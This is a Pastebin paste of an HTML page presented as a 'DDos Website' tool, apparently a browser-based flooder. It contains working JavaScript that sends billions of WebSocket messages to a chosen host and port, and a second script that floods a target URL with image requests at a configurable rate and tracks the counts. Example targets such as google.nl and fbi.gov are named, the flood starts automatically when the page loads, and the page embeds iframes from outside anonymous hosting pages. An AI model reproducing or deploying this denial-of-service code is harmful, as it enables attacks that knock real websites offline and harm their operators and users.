Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- DDos Website made by TP2k1
- <html>
- <head>
- <title>DDos Website Team</title>
- <script type="text/javascript">
- function ExploitLazor() {
- if ("WebSocket" in window) {
- var host = document.getElementById("Host").value
- var port = document.getElementById("Port").value
- alert("Cannon firing at "+host+" on port " +port+ " .");
- var ws = new WebSocket("ws://"+host+":"+port);
- ws.onopen = function() {
- for (var i=0;i<2147000000;i++) { //Loop here
- ws.send("Waring");
- }
- ws.onclose = function() {
- alert("DOS, Sent.");
- }
- }
- }
- else
- {
- alert("This won't work on your browser!");
- }
- }
- </script>
- </head>
- <body background="http://fc04.deviantart.net/fs70/f/2013/219/c/0/c0fb1a1463169ace91f3e558fb0e3fe5-d6h0i32.gif">
- <div style="position: absolute; width: 271px; height: 100%; left: 624px; top: 13px; color: #FFF;">
- <div style="width: 271px; height: 100px; position: absolute; left: 0px; top: 95px;">
- <fieldset style="width:100%; height:100%;">
- <legend>Step 1. Select your target:</legend>
- <label>URL: <br /> <input id="targetURL" style="width:100%;" value="http://www.google.nl" /></label> <!-- disabled="true" -->
- <small>Ex : http://fbi.gov</small>
- </fieldset>
- </div>
- <div style="width: 268px; height: 100px; position: absolute; left: 2px; top: 410px;">
- <fieldset style="width: 100%; height: 100%; color: #FF0;">
- <legend>Step 2. Ready?</legend>
- <button id="fireButton" style="background-color:black; border-color:#FFF; color:#FFF; width:240px; height:70px;">START</button>
- </fieldset>
- </div>
- <div id="html">
- Host: <input type="text" id="Host" value="" name="Host"><br>
- Port:
- <input type="text" id="Port" value="" name="Port"><br>
- <input type="submit" value="loop ddos" name="submit" onClick="ExploitLazor()"/>
- </div>
- <div style="width: 271px; height: 160px; position: absolute; left: 1px; top: 224px;">
- <fieldset style="width:100%; height:100%;">
- <legend>Optional. Options</legend>
- <label>Requests per second : <input style="width:40px;" id="rps" value="100" /></label><br />
- <label>Append message : <br /><input required id="message" style="width:100%;" value="We Are Legion" /></label>
- </fieldset>
- </div>
- <div style="width: 164px; height: 483px; position: absolute; left: 308px; top: 13px;">
- <fieldset style="width: 100%; height: 100%; color: #FFFF00;">
- <legend>Attack status:</legend>
- <dl>
- <dt>Requested:</dt>
- <dd id="requestedCtr">0</dd>
- <dt style="opacity: 0.5; color: green;">Request OK :</dt>
- <dd style="opacity: 0.5" id="succeededCtr">0</dd>
- <dt style="opacity: 0.5; color: red;">Request failed :</dt>
- <dd style="opacity: 0.5" id="failedCtr">0</dd>
- </dl>
- </fieldset>
- </div>
- </div>
- <p>
- <script>
- (function () {
- var fireInterval;
- var isFiring = false;
- var requestedCtrNode = document.getElementById("requestedCtr"),
- succeededCtrNode = document.getElementById("succeededCtr"),
- failedCtrNode = document.getElementById("failedCtr"),
- targetURLNode = document.getElementById("targetURL"),
- fireButton = document.getElementById("fireButton"),
- messageNode = document.getElementById("message"),
- rpsNode = document.getElementById("rps"),
- timeoutNode = document.getElementById("timeout");
- var targetURL = targetURLNode.value;
- targetURLNode.onchange = function () {
- targetURL = this.value;
- };
- var requestsHT = {}; // requests hash table, may come in handy later
- var requestedCtr = 0,
- succeededCtr = 0,
- failedCtr = 0;
- var makeHttpRequest = function () {
- if (requestedCtr > failedCtr + succeededCtr + 1000) { //Allow no more than 1000 hung requests
- return;
- };
- var rID =Number(new Date());
- var img = new Image();
- img.onerror = function () { onFail(rID); };
- img.onabort = function () { onFail(rID); };
- img.onload = function () { onSuccess(rID); }; // TODO: it may never happen if target URL is not an image... // but probably can be fixed with different methods
- img.setAttribute("src", targetURL + "?id=" + rID + "&msg=" + messageNode.value);
- requestsHT[rID] = img;
- onRequest(rID);
- };
- var onRequest = function (rID) {
- requestedCtr++;
- requestedCtrNode.innerHTML = requestedCtr;
- };
- var onComplete = function (rID) {
- delete requestsHT[rID];
- };
- var onFail = function (rID) {
- // failedCtr++;
- //failedCtrNode.innerHTML = failedCtr;
- succeededCtr++; //Seems like the url will always fail it it isn't an image
- succeededCtrNode.innerHTML = succeededCtr;
- delete requestsHT[rID]; // we can't keep it forever or it would blow up the browser
- };
- var onSuccess = function (rID) {
- succeededCtr++;
- succeededCtrNode.innerHTML = succeededCtr;
- delete requestsHT[rID];
- };
- fireButton.onclick = function () {
- if (isFiring) {
- clearInterval(fireInterval);
- isFiring = false;
- this.innerHTML = "START";
- } else {
- isFiring = true;
- this.innerHTML = "Stop flooding";
- fireInterval = setInterval(makeHttpRequest, (1000 / parseInt(rpsNode.value) | 0));
- }
- };
- })();
- isFiring = true;
- document.getElementById("fireButton").innerHTML = "Stop flooding";
- fireInterval = setInterval(makeHttpRequest, (1000 / parseInt(document.getElementById("rps").value) | 0));
- </script>
- <iframe src="http://anonhosting.bl.ee/test.php" width="300" height="400"></iframe>
- <iframe src="http://anonhosting.bl.ee/skype.php" width="300" height="400"></iframe>
- </p>
- </body>
- </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement